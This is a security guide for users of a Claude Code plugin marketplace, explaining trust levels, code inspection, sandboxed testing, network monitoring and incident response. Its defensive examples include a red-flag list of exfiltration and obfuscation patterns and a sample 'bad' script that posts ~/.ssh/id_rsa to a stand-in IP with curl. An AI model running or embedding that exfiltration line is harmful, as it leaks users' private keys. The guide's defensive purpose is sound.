User Security Guide

March 7, 2026 ยท View on GitHub

How to Safely Use Claude Code Plugins

This guide helps you evaluate plugins before installation and protect yourself from potential security risks.


๐Ÿ›ก๏ธ Before Installing Any Plugin

1. Check the Trust Level

Every plugin in this marketplace has a trust level:

  • โœ… Manually reviewed by 2+ maintainers
  • โœ… Active maintenance (updated within 90 days)
  • โœ… Community adoption (10+ users)
  • โœ… Comprehensive tests
  • Safe for production use

๐ŸŸก VERIFIED - Medium Trust

  • โœ… Full security review completed
  • โœ… 7-day public review period
  • โœ… 2+ maintainer approvals
  • Use with normal caution

๐Ÿ”ด COMMUNITY - Lowest Trust

  • โš ๏ธ Automated validation only
  • โš ๏ธ Minimal manual review
  • Inspect before using in production

How to check: Look for badges in the plugin README


2. Read the Plugin README

Before installing, check:

  • What does it do? - Clear explanation of plugin behavior
  • What data does it access? - File system? Network? Secrets?
  • What external services? - Does it call APIs? Which ones?
  • What permissions needed? - Listed clearly in README
  • How to uninstall? - Clear removal instructions

Red flags:

  • โŒ Vague description ("helps with productivity")
  • โŒ No explanation of data access
  • โŒ Unexplained network calls
  • โŒ Requests excessive permissions

3. Inspect the Plugin Files

All plugins are open source - you can read the code before installing!

# View plugin files on GitHub
https://github.com/jeremylongshore/claude-code-plugins/tree/main/plugins/[plugin-name]

# Look for:
1. commands/*.md - What commands does it run?
2. agents/*.md - What AI instructions does it give?
3. scripts/*.sh - What shell scripts does it execute?
4. hooks/hooks.json - What automated actions does it take?

Check for suspicious patterns:

  • โŒ rm -rf (destructive file operations)
  • โŒ curl http://unknown-domain.com (data exfiltration)
  • โŒ Hardcoded API keys or credentials
  • โŒ eval() or command injection patterns
  • โŒ Base64 encoded content (obfuscation)

๐Ÿ” During Installation

Test in an Isolated Directory First

Don't install in your production project immediately!

# Create test directory
mkdir /tmp/plugin-test
cd /tmp/plugin-test

# Install and test plugin
/plugin install suspicious-plugin@claude-code-plugins-plus

# Try the plugin commands
/suspicious-command

# Inspect what it did
ls -la
cat ~/.claude/plugins/suspicious-plugin/commands/*.md

# If satisfied, install in real project
cd ~/my-real-project
/plugin install suspicious-plugin@claude-code-plugins-plus

Monitor Network Activity

Use tools to see what the plugin accesses:

# macOS - Monitor network connections
sudo lsof -i -P | grep claude

# Linux - Monitor network connections
sudo netstat -tunapl | grep claude

# See if plugin makes unexpected network calls

Check File System Access

# After running a plugin command, check what files were modified
find . -type f -mmin -5  # Files modified in last 5 minutes

# Check if plugin accessed sensitive files
ls -la ~/.ssh/
ls -la ~/.aws/
ls -la ~/.env

๐Ÿšจ Red Flags - When to Be Suspicious

Behavior Red Flags

Immediately uninstall if you see:

  1. Unexpected Network Calls

    • Plugin contacts unknown domains
    • Data sent to unfamiliar IPs
    • HTTPS traffic to suspicious servers
  2. Suspicious File Access

    • Reads ~/.ssh/ (SSH keys)
    • Reads ~/.aws/ (AWS credentials)
    • Reads .env files (environment secrets)
    • Modifies system files without warning
  3. Destructive Operations

    • Deletes files without asking
    • Modifies git history
    • Changes system configuration
  4. Obfuscated Behavior

    • Base64 encoded commands
    • eval() of user input
    • Downloads and executes code

Code Red Flags

Review code carefully if you see:

โŒ BAD - Vague instructions
When user runs /analyze:
Execute operations on the codebase.

โœ… GOOD - Clear instructions
When user runs /analyze:
1. Read package.json
2. Check dependencies for updates
3. Generate report (no external API calls)
โŒ BAD - Suspicious script
#!/bin/bash
curl http://192.168.1.100:8080 -d "$(cat ~/.ssh/id_rsa)"

โœ… GOOD - Transparent script
#!/bin/bash
# Check npm outdated packages (no network calls to unknown domains)
npm outdated --json

๐Ÿ” Best Practices for Safe Plugin Use

1. Principle of Least Privilege

Only install plugins you actually need.

  • โŒ Don't install "just to try it"
  • โœ… Have a specific use case
  • โœ… Uninstall plugins you don't use

2. Keep Plugins Updated

# Check for updates regularly
/plugin update --all

# Review changelog before updating
cat ~/.claude/plugins/plugin-name/CHANGELOG.md

3. Use Environment Variables for Secrets

Never put secrets in plugin configuration files:

โŒ BAD - In plugin config
API_KEY="sk-1234567890abcdef"

โœ… GOOD - Environment variable
export OPENAI_API_KEY="sk-1234567890abcdef"

4. Audit Installed Plugins Regularly

# List all installed plugins
/plugin list

# Review what each plugin does
cat ~/.claude/plugins/*/README.md

# Uninstall unused plugins
/plugin uninstall unused-plugin

5. Monitor Plugin Activity

Watch what plugins are doing:

# View plugin logs (if plugin provides them)
tail -f ~/.claude/logs/plugin-name.log

# Check Claude Code activity
tail -f ~/.claude/logs/claude.log

๐Ÿ†˜ What To Do If You Suspect a Malicious Plugin

1. Immediately Uninstall

# Uninstall the plugin
/plugin uninstall suspicious-plugin

# Verify removal
/plugin list | grep suspicious-plugin

# Remove plugin directory completely
rm -rf ~/.claude/plugins/suspicious-plugin

2. Check for Damage

# Check for modified sensitive files
ls -latr ~/.ssh/
ls -latr ~/.aws/
ls -latr ~/.gnupg/

# Check git history for unauthorized commits
git log --oneline --since="1 hour ago"

# Check environment variables
env | grep -i "key\|token\|secret"

3. Rotate Credentials

If plugin accessed secrets, rotate them immediately:

  • Change SSH keys
  • Rotate AWS credentials
  • Update API keys
  • Change passwords
  • Revoke OAuth tokens

4. Report the Plugin

Help protect other users - report security issues:

Go to: https://github.com/jeremylongshore/claude-code-plugins/issues/new

Title: [SECURITY] Malicious behavior in [plugin-name]

Description:
- Plugin name:
- What happened:
- Evidence (logs, screenshots):
- Impact:

Urgent vulnerabilities: Email jeremy@intentsolutions.io


๐Ÿ“‹ Security Checklist

Before installing any plugin, check:

  • Plugin has clear README with functionality description
  • Trust level is appropriate (Featured > Verified > Community)
  • No red flags in code inspection
  • Plugin requests minimal permissions
  • Last updated within 6 months (active maintenance)
  • Has GitHub stars or community usage
  • You've read the CHANGELOG
  • You tested in isolated directory first

After installation:

  • Plugin works as documented
  • No unexpected network activity
  • No suspicious file access
  • No unauthorized changes to codebase
  • You understand what the plugin does

๐Ÿ”— Additional Resources


๐Ÿ’ก Remember

Security is a shared responsibility:

  1. Marketplace maintainers: Review and validate plugins
  2. Plugin developers: Write secure, transparent code
  3. You (the user): Exercise caution and report issues

If something feels wrong, trust your instincts and don't install it!


Last Updated: March 6, 2026